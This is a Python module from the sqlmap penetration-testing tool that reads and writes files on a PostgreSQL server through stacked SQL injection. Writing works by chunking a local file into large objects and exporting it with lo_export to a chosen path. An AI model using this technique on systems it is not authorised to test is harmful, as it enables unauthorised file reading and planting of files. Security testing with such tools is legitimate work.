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84 lines
2.9 KiB
Python
84 lines
2.9 KiB
Python
#!/usr/bin/env python
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"""
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Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
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See the file 'LICENSE' for copying permission
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"""
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import os
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from lib.core.common import randomInt
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from lib.core.compat import xrange
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from lib.core.data import kb
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from lib.core.data import logger
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from lib.core.exception import SqlmapUnsupportedFeatureException
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from lib.core.settings import LOBLKSIZE
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from lib.request import inject
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from plugins.generic.filesystem import Filesystem as GenericFilesystem
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class Filesystem(GenericFilesystem):
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def __init__(self):
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self.oid = None
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self.page = None
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GenericFilesystem.__init__(self)
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def stackedReadFile(self, remoteFile):
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if not kb.bruteMode:
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infoMsg = "fetching file: '%s'" % remoteFile
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logger.info(infoMsg)
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self.initEnv()
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return self.udfEvalCmd(cmd=remoteFile, udfName="sys_fileread")
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def unionWriteFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
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errMsg = "PostgreSQL does not support file upload with UNION "
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errMsg += "query SQL injection technique"
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raise SqlmapUnsupportedFeatureException(errMsg)
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def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
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localFileSize = os.path.getsize(localFile)
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content = open(localFile, "rb").read()
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self.oid = randomInt()
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self.page = 0
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self.createSupportTbl(self.fileTblName, self.tblField, "text")
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debugMsg = "create a new OID for a large object, it implicitly "
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debugMsg += "adds an entry in the large objects system table"
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logger.debug(debugMsg)
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# References:
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# http://www.postgresql.org/docs/8.3/interactive/largeobjects.html
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# http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html
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inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
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inject.goStacked("SELECT lo_create(%d)" % self.oid)
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inject.goStacked("DELETE FROM pg_largeobject WHERE loid=%d" % self.oid)
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for offset in xrange(0, localFileSize, LOBLKSIZE):
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fcEncodedList = self.fileContentEncode(content[offset:offset + LOBLKSIZE], "base64", False)
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sqlQueries = self.fileToSqlQueries(fcEncodedList)
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for sqlQuery in sqlQueries:
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inject.goStacked(sqlQuery)
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inject.goStacked("INSERT INTO pg_largeobject VALUES (%d, %d, DECODE((SELECT %s FROM %s), 'base64'))" % (self.oid, self.page, self.tblField, self.fileTblName))
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inject.goStacked("DELETE FROM %s" % self.fileTblName)
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self.page += 1
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debugMsg = "exporting the OID %s file content to " % fileType
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debugMsg += "file '%s'" % remoteFile
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logger.debug(debugMsg)
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inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, remoteFile), silent=True)
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written = self.askCheckWrittenFile(localFile, remoteFile, forceCheck)
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inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
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return written
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